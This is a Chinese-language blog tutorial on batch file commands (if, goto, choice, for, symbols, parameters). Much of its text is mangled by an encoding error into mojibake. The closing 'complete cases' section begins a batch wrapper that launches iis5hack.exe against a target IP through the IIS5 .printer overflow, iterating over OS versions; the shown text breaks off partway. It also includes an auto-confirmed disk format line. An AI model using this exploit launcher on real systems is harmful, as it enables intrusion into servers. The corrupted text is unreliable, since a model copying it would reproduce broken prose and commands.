if goto choice for是批处理文g中比较高U的命oQ如果这几个你用得很熟练Q你是批处理文件的专家啦?


一、if 是条件语句,用来判断是否W合规定的条Ӟ从而决定执行不同的命o?有三U格?

1、if [not] "参数" == "字符? 待执行的命o

参数如果{于(not表示不等Q下?指定的字W串Q则条g成立Q运行命令,否则q行下一句?

例:if "%1"=="a" format a:

====

if 的命令行帮助中关于此点的描述?
IF [NOT] string1==string2 command
在此有以下几炚w要注?
1. 包含字符串的双引号不是语法所必须? 而只是习惯上使用的一U?防空"字符
2. string1 未必是参? 它也可以是环境变? 循环变量以及其他字符串常量或变量
3. command 不是语法所必须? string2 后跟一个空格就可以构成一个有效的命o?
=============================

2、if [not] exist [路径\]文g?待执行的命o
如果有指定的文gQ则条g成立Q运行命令,否则q行下一句?

? if exist c:\config.sys type c:\config.sys
表示如果存在c:\config.sys文gQ则昄它的内容?

****** ?********
也可以用以下的用法:
if exist command
device 是指DOSpȝ中已加蝲的设? 在win98下通常?
AUX, PRN, CON, NUL
COM1, COM2, COM3, COM4
LPT1, LPT2, LPT3, LPT4
XMSXXXX0, EMMXXXX0
A: B: C: ...,
CLOCK$, CONFIG$, DblBuff$, IFS$HLP$
具体的内容会因硬软g环境的不同而略有差? 使用q些讑֤名称? 需要保证以下三?
1. 该设备确实存?pY件虚拟的讑֤除外)
2. 该设备驱动程序已加蝲(aux, prn{标准设备由pȝ~省定义)
3. 该设备已准备?主要是指a: b: ..., com1..., lpt1...{?
可通过命o mem/d | find "device" /i 来检阅你的系l中所加蝲的设?
另外, 在DOSpȝ? 讑֤也被认ؓ是一U特D的文g, 而文件也可以UC字符讑֤; 因ؓ讑֤(device)与文仉是用句?handle)来管理的, 句柄是名字, cM于文件名, 只不q句柄不是应用于盘理, 而是应用于内存管理而已, 所谓设备加载也x在内存中为其分配可引用的句柄.
==================================

3、if errorlevel <数字> 待执行的命o

很多DOSE序在运行结束后会返回一个数字值用来表C程序运行的l果(或者状?Q通过if errorlevel命o可以判断E序的返回|Ҏ不同的返回值来军_执行不同的命?q回值必L照从大到的序排列)。如果返回值等于指定的数字Q则条g成立Q运行命令,否则q行下一句?

如if errorlevel 2 goto x2

==== ?===========
q回g大到的序排列不是必须? 而只是执行命令ؓ goto 时的习惯用法, 当?set 作ؓ执行命o? 通常会从到大顺序排? 比如需返回码|入环境变量, 需使用以下的顺序Ş?

if errorlevel 1 set el=1
if errorlevel 2 set el=2
if errorlevel 3 set el=3
if errorlevel 4 set el=4
if errorlevel 5 set el=5
...

当然, 也可以用以下@环来替代, 原理是一致的:
for %%e in (1 2 3 4 5 6 7 8...) do if errorlevel %%e set el=%%e

更高效简z的用法, 可以参考我写的另一关于获?errorlevel 的文?

出现此种现象的原因是, if errorlevel 比较q回码的判断条gq{于, 而是大于{于. ׃ goto 的蟩转特? 由小到大排序会导致在较小的返回码处就跛_; 而由?set命o?"重复" 赋值特? 由大到小排序会导致较的q回?"覆盖" 较大的返回码.

另外, 虽然 if errorlevel=<数字> command 也是有效的命令行, 但也只是 command.com 解释命o行时?= 作ؓ命o行切分符而忽略掉|了
===========================


二、goto 批处理文件运行到q里蟩到goto所指定的标?标号即labelQ标L:后跟标准字符串来定义)处,goto语句一般与if配合使用Q根据不同的条g来执行不同的命ol?

?

goto end

:end
echo this is the end

标号?:字符?来定义,标号所在行不被执行?

==== willsort ~注

label 常被译ؓ "标签" , 但是qƈ不具有广泛的U定?

goto ?: 联用可实现执行中途的跌{, 再结?if 可实现执行过E的条g分支, 多个 if 卛_实现命o的分l? cM C ?switch case l构或?Basic 中的 select case l构, 大规模且l构化的命o分组卛_实现高语言中的函数功能. 以下是批处理和C/Basic在语法结构上的对?

Batch C / Basic
goto&: goto&:
goto&:&if if{}&else{} / if&elseif&endif
goto&:&if... switch&case / select case
goto&:&if&set&envar... function() / function(),sub()
==================================
三、choice 使用此命令可以让用户输入一个字W(用于选择Q,从而根据用L选择q回不同的errorlevelQ然后于if errorlevel配合Q根据用L选择q行不同的命令?

注意Qchoice命o为DOS或者Windowspȝ提供的外部命令,不同版本的choice命o语法会稍有不同,Lchoice /?查看用法?

choice的命令语法(该语法ؓWindows 2003中choice命o的语法,其它版本的choice的命令语法与此大同小异)Q?

CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]

描述:
该工具允许用户从选择列表选择一个项目ƈq回所选项目的索引?

参数列表:
/C choices 指定要创建的选项列表。默认列表是 "YN"?

/N 在提C符中隐藏选项列表。提C前面的消息得到昄Q?
选项依旧处于启用状态?

/CS 允许选择分大写的选项。在默认情况下,q个工具
是不分大写的?

/T timeout 做出默认选择之前Q暂停的U数。可接受的值是?0
?9999。如果指定了 0Q就不会有暂停,默认选项
会得到选择?

/D choice ?nnnn U之后指定默认选项。字W必d?/C ?
Ҏ定的一l选择? 同时Q必ȝ /T 指定 nnnn?

/M text 指定提示之前要显C的消息。如果没有指定,工具?
昄提示?

/? 昄帮助消息?

注意:
ERRORLEVEL 环境变量被设|ؓ从选择集选择的键索引。列出的W一个?
择返?1Q第二个选择q回 2Q等{。如果用h的键不是有效的选择Q?
该工具会发出警告响声。如果该工具到错误状态,它会q回 255 ?
ERRORLEVEL 倹{如果用h Ctrl+Break ?Ctrl+C 键,该工具会q回 0
?ERRORLEVEL 倹{在一个批E序中?ERRORLEVEL 参数Ӟ参数降
序排列?

CZ:
CHOICE /?
CHOICE /C YNC /M "认h YQ否h NQ或者取消请?C?
CHOICE /T 10 /C ync /CS /D y
CHOICE /C ab /M "选项 1 请选择 aQ选项 2 请选择 b?
CHOICE /C ab /N /M "选项 1 请选择 aQ选项 2 请选择 b?

==== willsort ~注 ===============================
我列出win98下choice的用法帮? 已资区分

Waits for the user to choose one of a set of choices.
{待用户选择一l待选字W中的一?

CHOICE [/C[:]choices] [/N] [/S] [/T[:]c,nn] [text]

/C[:]choices Specifies allowable keys. Default is YN
指定允许的按?待选字W?, 默认为YN
/N Do not display choices and ? at end of prompt string.
不显C提C字W串中的问号和待选字W?
/S Treat choice keys as case sensitive.
处理待选字W时大小写敏?
/T[:]c,nn Default choice to c after nn seconds
?nn U后默认选择 c
text Prompt string to display
要显C的提示字符?
ERRORLEVEL is set to offset of key user presses in choices.
ERRORLEVEL 被设|ؓ用户键入的字W在待选字W中的偏Ud?
如果我运行命令:CHOICE /C YNC /M "认h YQ否h NQ或者取消请?C?
屏幕上会昄Q?
认h YQ否h NQ或者取消请?C?[Y,N,C]?


例:test.bat的内容如下(注意Q用if errorlevel判断q回值时Q要按返回g高到低排列):
@echo off
choice /C dme /M "defrag,mem,end"
if errorlevel 3 goto end
if errorlevel 2 goto mem
if errorlevel 1 goto defrag

:defrag
c:\dos\defrag
goto end

:mem
mem
goto end

:end
echo good bye

此批处理q行后,显C?defrag,mem,end[D,M,E]?" Q用户可选择d m e Q然后if语句Ҏ用户的选择作出判断Qd表示执行标号为defrag的程序段Qm表示执行标号为mem的程序段Qe表示执行标号为end的程序段Q每个程序段最后都以goto end程序蟩到end标号处,然后E序显Cgood byeQ批处理q行l束?

四、for 循环命oQ只要条件符合,它将多次执行同一命o?

语法Q?
对一l文件中的每一个文件执行某个特定命令?

FOR %%variable IN (set) DO command [command-parameters]

%%variable 指定一个单一字母可替换的参数?
(set) 指定一个或一l文件。可以用通配W?
command 指定Ҏ个文件执行的命o?
command-parameters
为特定命令指定参数或命o行开兟?

例如一个批处理文g中有一?
for %%c in (*.bat *.txt) do type %%c

则该命o行会昄当前目录下所有以bat和txt为扩展名的文件的内容?

==== willsort ~注 =====================================================
需要指出的? ?)中的字符串ƈ非单个或多个文g名时, 它将单纯被当作字W串替换, q个Ҏ再加上()中可以嵌入多个字W串的特? 很明?for 可以被看作一U遍历型循环.
当然, ?nt/2000/xp/2003 pd的命令行环境? for 被赋予了更多的特? 使之可以分析命o输出或者文件中的字W串, 也有很多开兌用于扩展了文件替换功?
========================================================================

批处理示?

1. IF-EXIST

1) 首先用记事本在C:\建立一个test1.bat批处理文Ӟ文g内容如下Q?
@echo off
IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT
IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist

然后q行它:
C:\>TEST1.BAT

如果C:\存在AUTOEXEC.BAT文gQ那么它的内容就会被昄出来Q如果不存在Q批处理׃提示你该文g不存在?

2) 接着再徏立一个test2.bat文gQ内容如下:
@ECHO OFF
IF EXIST \%1 TYPE \%1
IF NOT EXIST \%1 ECHO \%1 does not exist

执行:
C:\>TEST2 AUTOEXEC.BAT
该命令运行结果同上?

说明Q?
(1) IF EXIST 是用来测试文件是否存在的Q格式ؓ
IF EXIST [路径+文g名] 命o
(2) test2.bat文g中的%1是参敎ͼDOS允许传?个批参数信息l批处理文gQ分别ؓ%1~%9(%0表示test2命o本n) Q这有点象编E中的实参和形参的关p,%1是Ş参,AUTOEXEC.BAT是实参?

==== willsort ~注 =====================================================
DOS没有 "允许传?个批参数信息" 的限? 参数的个数只会受到命令行长度和所调用命o处理能力的限? 但是, 我们在批处理E序? 在同一时刻只能同时引用10个参? 因ؓ DOS只给Z %0~%9q十个参数引用符.
========================================================================

3) 更进一步的Q徏立一个名为TEST3.BAT的文Ӟ内容如下Q?
@echo off
IF "%1" == "A" ECHO XIAO
IF "%2" == "B" ECHO TIAN
IF "%3" == "C" ECHO XIN

如果q行Q?
C:\>TEST3 A B C
屏幕上会昄:
XIAO
TIAN
XIN

如果q行Q?
C:\>TEST3 A B
屏幕上会昄
XIAO
TIAN

在这个命令执行过E中QDOS会将一个空字符串指定给参数%3?

2、IF-ERRORLEVEL

建立TEST4.BATQ内容如下:
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:\
IF ERRORLEVEL 1 ECHO 文g拯p|
IF ERRORLEVEL 0 ECHO 成功拯文g

然后执行文g:
C:\>TEST4

如果文g拯成功Q屏q就会显C?成功拯文g"Q否则就会显C?文g拯p|"?

IF ERRORLEVEL 是用来测试它的上一个DOS命o的返回值的Q注意只是上一个命令的q回|而且q回值必M照从大到次序顺序判断?
因此下面的批处理文g是错误的Q?

@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:\
IF ERRORLEVEL 0 ECHO 成功拯文g
IF ERRORLEVEL 1 ECHO 未找到拷贝文?
IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拯操作
IF ERRORLEVEL 3 ECHO 预置错误L文g拯操作
IF ERRORLEVEL 4 ECHO 拯q程中写盘错?

无论拯是否成功Q后面的Q?

未找到拷贝文?
用户通过ctrl-c中止拯操作
预置错误L文g拯操作
拯q程中写盘错?

都将昄出来?

以下是几个常用命o的返回值及其代表的意义Q?

backup
0 备䆾成功
1 未找到备份文?
2 文g׃n冲突L备䆾完成
3 用户用ctrl-c中止备䆾
4 ׃致命的错误备䆾操作中止

diskcomp
0 盘比较相?
1 盘比较不?
2 用户通过ctrl-c中止比较操作
3 ׃致命的错误比较操作中止
4 预置错误中止比较

diskcopy
0 盘拷贝操作成?
1 非致命盘?写错
2 用户通过ctrl-cl束拯操作
3 因致命的处理错误使盘拯中止
4 预置错误L拯操作

format
0 格式化成?
3 用户通过ctrl-c中止格式化处?
4 因致命的处理错误使格式化中止
5 在提C?proceed with formatQy/nQ?"下用户键入nl束

xcopy
0 成功拯文g
1 未找到拷贝文?
2 用户通过ctrl-c中止拯操作
4 预置错误L文g拯操作
5 拯q程中写盘错?

chkdsk
0 未找到错?
255 扑ֈ一个或多个错误

choice
0 用户按下ctrl+c/break
1 用户按下W一个键
255 到命o行中的错误条?
其它 用户按下的有效字W在列表中的位置

defrag
0 片压羃成功
1 出现内部错误
2 盘上没有空。要q行DEFRAGQ至要有一个空?
3 用户用Ctrl+C退ZDEFRAG
4 出现一般性错?
5 DEFRAG在读时遇到错误
6 DEFRAG在写时遇到错误
7 分配I间有错
8 内存?
9 没有_I间来压~磁盘碎?

deltree
0 成功地删除一个目?

diskcomp
0 两盘相同
1 发现不同
2 按CTRL+C l止了比?
3 出现严重错误
4 出现初始化错?

find
0 查找成功且至找C一个匹配的字符?
1 查找成功但没扑ֈ匚w的字W串
2 查找中出C错误

keyb
0 键盘定义文g装入成功
1 使用了非法的键盘代码Q字W集或语?
2 键盘定义文g坏或未找?
4 键盘、监视器通讯时出?
5 要求的字W集未准备好

move
0 成功地移动了指定的文?
1 发生了错?

msav /N
86 查到了病?

replace
0 REPLACE成功地替换或加入了文?
1 MS-DOS版本和REPLACE不兼?
2 REPLACE找不到源文g
3 REPLACE找不到源路径或目标\?
5 不能存取要替换的文g
8 内存不够无法执行REPLACE
11 命o行句法错?

restore
0 RESTORE成功地恢复了文g
1 RESTORE找不到要恢复的文?
3 用户按CTRL+Cl止恢复q程
4 RESTORE因错误而终?

scandisk
0 ScanDisk在它查的驱动器上未检到M错误
1 ׃命o行的语法不对Q不能运行ScanDisk
2 ׃内存用尽或发生内部错误,ScanDisk意外l止
3 用户让ScanDisk中途退?
4 q行盘面扫描Ӟ用户军_提前退?
254 ScanDisk扑ֈ盘故障q已全部校正
255 ScanDisk扑ֈ盘故障Q但未能全部校正

setver
0 SETVER成功地完成了d
1 用户指定了一个无效的命o开?
2 用户指定了一个非法的文g?
3 没有_的系l内存来q行命o
4 用户指定了一个非法的版本h?
5 SETVER在版本表中未扑ֈ指定的项
6 SETVER未找到SETVER.EXE文g
7 用户指定了一个非法的驱动?
8 用户指定了太多的命o行参?
9 SETVER到丢失了命令行参数
10 在读SETVER.EXE文gӞSETVER到发生错误
11 SETVER.EXE文g损坏
12 指定的SETVER.EXE文g不支持版本表
13 版本表中没有_的空间存放新的项
14 在写SETVER.EXE文g时SETVER到发生错误
========================================================================

3、IF STRING1 == STRING2

建立TEST5.BATQ文件内容如下:
@echo off
IF "%1" == "A" FORMAT A:

执行Q?
C:\>TEST5 A
屏幕上就出现是否A:盘格式化的内宏V?

注意Qؓ了防止参CؓI的情况Q一般会字W串用双引号Q或者其它符P注意不能使用保留W号Q括h?
如:if [%1]==[A] 或?if %1*==A*

5、GOTO

建立TEST6.BATQ文件内容如下:
@ECHO OFF
IF EXIST C:\AUTOEXEC.BAT GOTO _COPY
GOTO _DONE
:_COPY
COPY C:\AUTOEXEC.BAT D:\
:_DONE

注意Q?
(1) 标号前是ASCII字符的冒?:"Q冒号与标号之间不能有空根{?
(2) 标号的命名规则与文g名的命名规则相同?
(3) DOS支持最长八位字W的标号Q当无法区别两个标号Ӟ蟩转至最q的一个标受?

==== willsort ~注 =====================================================
1)标号也称作标{?label)
2)标签不能以大多数的非字母数字字符开? 而文件名中则可以使用很多
3)当无法区别两个标{时, 蟩转至位置最靠前的标{?
========================================================================

6、FOR

建立C:\TEST7.BATQ文件内容如下:
@ECHO OFF
FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C

q行Q?
C:\>TEST7

执行以后Q屏q上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内ҎC出来(不包括隐藏文Ӟ?


ThinkingTalking 2007-10-28 18:55 发表评论
]]>
批处理文??http://www.aygfsteel.com/ThinkingTalking/archive/2007/10/28/156509.htmlThinkingTalkingThinkingTalkingSun, 28 Oct 2007 10:54:00 GMThttp://www.aygfsteel.com/ThinkingTalking/archive/2007/10/28/156509.htmlhttp://www.aygfsteel.com/ThinkingTalking/comments/156509.htmlhttp://www.aygfsteel.com/ThinkingTalking/archive/2007/10/28/156509.html#Feedback0http://www.aygfsteel.com/ThinkingTalking/comments/commentRss/156509.htmlhttp://www.aygfsteel.com/ThinkingTalking/services/trackbacks/156509.html 1?REM
REM 是个注释命o一般是用来l程序加上注解的Q该命o后的内容在程序执行的时候将不会被显C和执行。例Q?
REM 你现在看到的是注解Q这一句将不会被执行。在以后的例子中解释的内定wREM 会放在REM后面。请大家注意?

2?ECHO
ECHO 是一个回昑֑令主要参数有OFF?ON,一般用ECHO message来显CZ个特定的消息 。例Q?
Echo off
Rem 以上代表关闭回显即不昄所执行的命?
Echo q个是消息?
Rem 以上代表昄“q就是消?#8221;q列字符
执行l果Q?
C:\>ECHO.BAT
q个是消息?

3?GOTO
GOTO 即ؓ跌{的意思。在批处理中允许?#8220;QXXX”来构Z个标L后用GOTO Q标L接来执行标号后的命o。例
:LABEL
REM 上面是名ؓLABEL的标受?
DIR C:\
DIR D:\
GOTO LABEL
REM 以上E序跌{标号LABEL处l执行?

4、CALL
CALL 命o可以在批处理执行q程中调用另一个批处理Q当另一个批处理执行完后再l执行原来的批处理。例Q?
批处?.BAT内容如下Q?
ECHO q就?的内?
批处?.BAT内容如下Q?
ECHO q是1的内?
CALL 2.BAT
ECHO 1?的内容全部显C完?
执行l果如下Q?
C:\>1.BAT
q是1的内?
q就?的内?
1?的内容全部显C完?

5、PAUSE
PAUSE 停止pȝ命o的执行ƈ昄下面的内宏V例Q?
C:\> PAUSE
hL键l?. . .

6?IF
IF 条g判断语句Q语法格式如下:
IF [NOT] ERRORLEVEL number command
IF [NOT] string1==string2 command
IF [NOT] EXIST filename command
说明Q?
[NOT] 返回的l果取反值即“如果没有”的意思?
ERRORLEVEL 是命令执行完成后q回的退出?
Number 退出值的数字取D?~255。判断时值的排列序应该又大到小。返回的值大于或{于指定的值时条g成立?
string1==string2 string1和string2都ؓ字符的数据,英文字符的大写看做不同,q个条g中的{于号必L2个(l对相等Q,条g想等后即执行后面?command
EXIST filename 为文件或目录存在的意思?
IF ERRORLEVELq条语句必须攑֜某一个命令后面。执行命令后由IF ERRORLEVEL来判断命令的q回倹{?
例:
1?IF [NOT] ERRORLEVEL number command
命令执行完后的q回值做出判断?
echo off
dir z:
rem 如果退Z码ؓ1Q不成功Q就跌标题1处执?
IF ERRORLEVEL 1 goto 1
rem 如果退Z码ؓ0Q成功)px?处执?
IF ERRORLEVEL 0 goto 0
:0
echo 命o执行成功Q?
Rem E序执行完毕跌标题exit处退?
goto exit
:1
echo 命o执行p|Q?
Rem E序执行完毕跌标题exit处退?
goto exit
:exit
Rem q里是程序的出口
2?IF string1==string2 command
当前变量的值做出判?
ECHO OFF
IF %1==2 goto no
Echo 变量相等Q?
Goto exit
:no
echo 变量不相{?
goto exit
:exit
大家可以q样看效?C:\>test.bat 数字

3?IF [NOT] EXIST filename command
发现特定的文件做出判?
echo off
IF not EXIST autoexec.bat goto 1
echo 文g存在成功Q?
goto exit
:1
echo 文g不存在失败!
goto exit
:exit
q个批处理大家可以放在c盘和d盘分别执行看看效果?
7?FOR
FORq个命o比较Ҏ是一个@环执行命令的命oQ同时FOR的@环里面还可以套用FOR在进行@环。这我们介l基本的用法׃做套用的循环了,后面再来讲解套用的@环。在批处理中FOR的命令如下:
FOR [%%c] IN (set) DO [command] [arguments]
在命令行中命令如下:
FOR [%c] IN (set) DO [command] [arguments]
常用参数Q?
/L 该集表示以增量Ş式从开始到l束的一个数字序列。因此,(1,1,5) 生序?1 2 3 4 5Q?5,-1,1) 生序?(5 4 3 2 1)?
/D 如果集中包含通配W,则指定与目录名匹配,而不与文件名匚w?

/F 从指定的文g中读取数据作为变?
eol=c - 指一个行注释字符的结?׃?
skip=n - 指在文g开始时忽略的行数?
delims=xxx - 指分隔符集。这个替换了I格和蟩格键的默认分隔符集?
tokens=x,y,m-n - 指每行的哪一个符可传递到每个q代?for 本n。这会导致额外变量名U的分配。m-n格式Z个范围。通过 nth W号指定 mth。如果符号字W串中的最后一个字W星P那么额外的变量将在最后一个符可析之后分配ƈ接受行的保留文本?
usebackq - 指定新语法已在下cL况中使用:在作为命令执行一个后引号的字W串q且一个单引号字符为文字字W串命oq允许在 filenameset中用双引号扩v文g名称?
下面来看一个例子:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i %j %k
会分?myfile.txt 中的每一行,忽略以分h头的那些行,每行中的第二个和第三个W号传递给 for E序体;用逗号?或空格定界符受请注意Q这?for E序体的语句引用 %i 来取得第二个W号Q引?%j 来取得第三个W号Q引?%k来取得第三个W号后的所有剩余符受对于带有空格的文g名,您需要用双引号将文g名括h。ؓ了用q种方式来用双引号Q您q需要?usebackq 选项Q否则,双引号会被理解成是用作定义某个要分析的字W串的?
%i 专门?for 语句中得到说明,%j ?%k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最?26 个符P只要不试图说明一个高于字?'z' ?Z' 的变量。请CQFOR 变量名分大小写,是通用的;而且Q同时不能有 52 个以上都在用中?
您还可以在相dW串上?FOR /F 分析逻辑Q方法是Q用单引号将括号之间?filenameset 括v来。这P该字W串会被当作一个文件中的一个单一输入行。最后,您可以用 FOR /F 命o来分析命令的输出。方法是Q将括号之间?filenameset 变成一个反括字W串。该字符串会被当作命令行Q传递到一个子 CMD.EXEQ其输出会被抓进内存Qƈ被当作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚丑ֽ前环境中的环境变量名U?
以下列D一个简单的例子Q他说明参?L和没有参数的区别Q?
删除文g1.TXT 2.TXT 3.TXT 4.TXT 5.TXT
例:
ECHO OFF
FOR /L %%F IN (1,1,5) DO DEL %%F.TXT
?
FOR %%F IN (1,2,3,4,5) DO DEL %%F.TXT
以上2条命令执行的l果都是一L如下Q?
C:\>DEL 1.TXT
C:\>DEL 2.TXT
C:\>DEL 3.TXT
C:\>DEL 4.TXT
C:\>DEL 5.TXT

8?SETLOCAL
开始批处理文g中环境改动的本地化操作。在执行 SETLOCAL 之后
所做的环境改动只限于批处理文g。要q原原先的设|,必须?
?ENDLOCAL?辑ֈ批处理文件结时Q对于该批处理文件的每个
未执行?SETLOCAL 命oQ都会有一个隐含的 ENDLOCAL ?
执行。例Q?
@ECHO OFF
SET PATH /*察看环境变量PATH
PAUSE
SETLOCAL
SET PATH=E:\TOOLS /*重新讄环境变量PATH
SET PATH
PAUSE
ENDLOCAL
SET PATH
从上例我们可以看到环境变量PATHW?ơ被昄得时候是pȝ默认路径。被讄成了E:\TOOLS后显CZؓE:\TOOLS但当ENDLOCAL后我们可以看C又被q原成了pȝ的默认\径。但q个讄只在该批处理q行的时候有作用。当批处理运行完成后环境变量PATH会q原?

9?SHIFT
SHIFT命o可以让在命o上的的命令用超q?0个(%0~%9Q以上的可替代参CQ?
ECHO OFF
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
执行l果如下Q?
C::\>SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11
1 2 3 4 5 6 7 8 9
2 3 4 5 6 7 8 9 10
3 4 5 6 7 8 9 10 11
以上是ZWIN2000下的9个批处理命o?

W二部分Q特D的W号与批处理

在命令行下有些符h不允怋用的但有些符号却有着Ҏ的意义?
1?W号(@)
@在批处理中的意思是关闭当前行的回显。我们从上面知道用命令echo off可以x整个批处理的命o回显但却不能不显Cecho offq个命o。现在我们在q个命o前加上@q样echo offq一命op@关闭了回显从而达到所有命令均不回昑־要求
2?W号(>)
>的意思是传递ƈ覆盖。他所L作用是将q行后的回显l果传递到后面的范_后面可是文g也可是默认的pȝ控制収ͼ例:
文g1.txt的文件内容ؓQ?
1+1
使用命oc:\>dir *.txt >1.txt
q时?.txt的内容如?
驱动?C 中的h有标{?
L序列h 301A-1508
C:\ 的目?
2003-03-11 14:04 1,005 FRUNLOG.TXT
2003-04-04 16:38 18,598,494 log.txt
2003-04-04 17:02 5 1.txt
2003-03-12 11:43 0 aierrorlog.txt
2003-03-30 00:35 30,571 202.108.txt
5 个文?18,630,070 字节
0 个目?1,191,542,784 可用字节
>命令执行的l哺橇嗽嫉奈募谌荨?
在传递给控制台的时候程序将不会有Q何回显(注意Q这里的回显跟echo offx的回显不是同一概念。Echo offx的是输入命o的回显,q里的回显是E序执行中或后的回显Q例Q?
C:\>dir *.txt >nul
E序没有Q何显CZ不会产生M痕迹?
3?W号(>>)
W号>>的作用与W号>怼Q但他们的区别在?gt;>是传递ƈ在文件末追?gt;>也可回显传递给控制収ͼ用法同上Q例Q?
文g1.txt内同为:
1+1
使用命oc:\>dir *.txt >>1.txt
q时?.txt的内容如?
1+1
驱动?C 中的h有标{?
L序列h 301A-1508
C:\ 的目?
2003-03-11 14:04 1,005 FRUNLOG.TXT
2003-04-04 16:38 18,598,494 log.txt
2003-04-04 17:02 5 1.txt
2003-03-12 11:43 0 aierrorlog.txt
2003-03-30 00:35 30,571 202.108.txt
5 个文?18,630,070 字节
0 个目?1,191,542,784 可用字节
>>命令执行的l果覆加在了原始的文件内容后面?
4?W号(|)
|是一个管道传输命令意思是上一命o执行的结果传递给下一命od理。例Q?
C:\>dir c:\|find "1508"
L序列h 301A-1508
以上命o的意思ؓ查找c:\的所有ƈ发现1508字符丌ӀFind的用法请?find /?自行查看
在不使用format的自动格式化参数的时候我是这h自动格式化盘片的
echo y|fornat a: /s /q /v:system
用过format命o的h都知道format有一个交互对化过E,要用者输入y来确定当前的命o是否被执行。在q个命o前加上echo yq用道传输W|echo执行的结果y传递给format从而达到手工输入y的目的(q条命o有危x,试的时候请谨慎Q?
5?W号(^)
^ 是对ҎW号 > ?lt;?&、的前导字符。在命o中他以上的3个符LҎ动能L仅仅只吧他们当成W号而不使用他们的特D意义。例Q?
c:\>echo test ^> 1.txt
test > 1.txt
从上面可以看出ƈ没有把test写入文g1.txt而是test >1.txt 当字W串昄了出来。这个符号在q程构徏批处理的时候很有效果?
6?W号(&)
&W号允许在一行中使用2个以上不同的命oQ当W一个命令执行失败将不媄响第2个命令的执行。例Q?
c:\> dir z:\ &dir y:\ &dir c:\
以上的命令将会连l显Cz: y: c:盘内的内容不理会该盘W是否存在?
7?W号(&&)
&&W号也是允许在一行中使用2个以上不同的命oQ当W一个命令执行失败后后箋的命令将不会再被执行。例Q?
c:\> dir z:\ &&dir y:\ &&dir c:\
以上的命令将会提C检查是否存在z:盘如果存在则执行Q如果不存在则停止执行所有的后箋命o
8?W号(" ")
" "W号允许在字W串中包含空根{进入一个特D的目录可以用如下方法例:
c:\>cd “Program Files”
c:\>cd progra~1
c:\>cd pro*
以上Ҏ都可以进入Program Files目录
9?W号Q?Q?
,W号相当于空根{在某些Ҏ的情况下可以?来代替空g用。例Q?
c:\>dir,c:\
10?W号(;)
;W号当命令相同的时候可以将不同的目标用;隔离开来但执行效果不变。如执行q程中发生错误则只返回错误报告但E序q是会l执行。例Q?
DIR C:\;D:\;E:\F:\
以上的命令相当于
DIR C:\
DIR D:\
DIR E:\
DIR F:\
当然q有些特D的W号但他们的使用范围很小我就不再q里一一的说明了?

W三部分Q批处理与变?

在批处理中适当的引用变量将会你所~制的程序应用面更广。批处理每次能处理的变量?0~%9?0个。其?0默认l批处理的文件名使用。除非在使用SHIFT命o?0才能?1所替代。引用shift命o的例子如果把%1前面多加上一?0那么l果如下Q?
C::\>SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11
SHIFT.BAT 1 2 3 4 5 6 7 8 9
1 2 3 4 5 6 7 8 9 10
2 3 4 5 6 7 8 9 10 11
pȝ是如何区分每个变量的呢,pȝ区分变量的规则ؓ字符串中间的I格Q即只要发现I格把I格前面的字W当作一个变量而空格后面的字符则作为另一个变量。如果你的变量是一个当中包含空格的长目录名q时候你需要用上一节特D符?中所用的引号他圈v来。例Q?
批处理内容ؓQ?
ECHO %1
ECHO %2
ECHO %3
输入命oQ?
C:\>TEST “Program Files” Program Files
Program Files
Program
Files
在一个复杂的批处理中又可能同时用的变量会超q?0个这时候会和系l的规则惛_H那么这个问题怎么解决呢?在系l中q有一U变量称之ؓ环境变量Q用SET命o可以查看当前pȝ的环境变量)如当前系l目录是%windir%?SystemRoot%{。当同时使用的参数超q?0个的时候,我们可以把某些在后面的程序中q要调用的变量保存ؓ环境变量。具体用法如 SET A=%1 q样我们命名了一个新的环境变量A 在调用变量A的时候要%A%q样调用Q环境变量不受SHIFT命o影响。如果要改变一个环境变量需要重新对其设|才能改变。当然也可以q行变量与变量之间的传递来辑ֈ目的。下面我们来看一个例子,批处理如下:
ECHO OFF
SET PASS=%1
SHIFT
SET PASS1=%1
SHIFT
ECHO %PASS% %PASS1% %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
ECHO %PASS% %PASS1% %9
SET PASS=%PASS1% 变量的传?
SET PASS1=%9
SHIFT
ECHO %PASS% %PASS1% %9
使用命oQC:\>TEST A B 3 4 5 6 7 8 9 10 K L
A B 3 4 5 6 7 8 9 10 K 注意Q这一行显CZ11个变?
A B L 在用了3ơSHIFT之后%9变成了L
B L 变量的传递后的结?


W四部分Q完整案?

以上是批处理的一些用法。现在我们把q些用法l合h详细的分析一下目前网上发布的一些批处理Q看看他们是怎么q作的。这里我列举三个例子来详细分析Qؓ了保持程序的完整我的注释会加?*后面?
例一
q个例子是利用iis5hack.exeҎ.printer漏洞的主行溢出的批处理。用到的E序有iis5hack.exe和系l自带的telnet.exe。iis5hack的命令格式ؓQ?
iis5hack <目标ip> <目标端口> <目标版本> <溢出q接端口>目标版本?-9q?0个数字分别对应不同语a版本和sp的系l版本,我们~制的批处理使用的命令格式ؓ <iis.bat 目标ip Q开始版本号Q?gt;开始版本号可有可无。程序如下?
@echo off /*关闭命o回显
if "%1%"=="" goto help /*判断%1是否为空Q?1为目标ip
if "%2%"=="1" goto 1 /*判断%2是否?Qؓ1则蟩转标?
if "%2%"=="2" goto 2 /*%2为开始版本号Q如果没有设|则
if "%2%"=="3" goto 3 /*如果存在则从匚w的地方开始执?
if "%2%"=="4" goto 4
if "%2%"=="5" goto 5
if "%2%"=="6" goto 6
if "%2%"=="7" goto 7
if "%2%"=="8" goto 8
if not EXIST iis5hack.exe goto file /*没有发现iis5hack.exe执行标志fileD内?
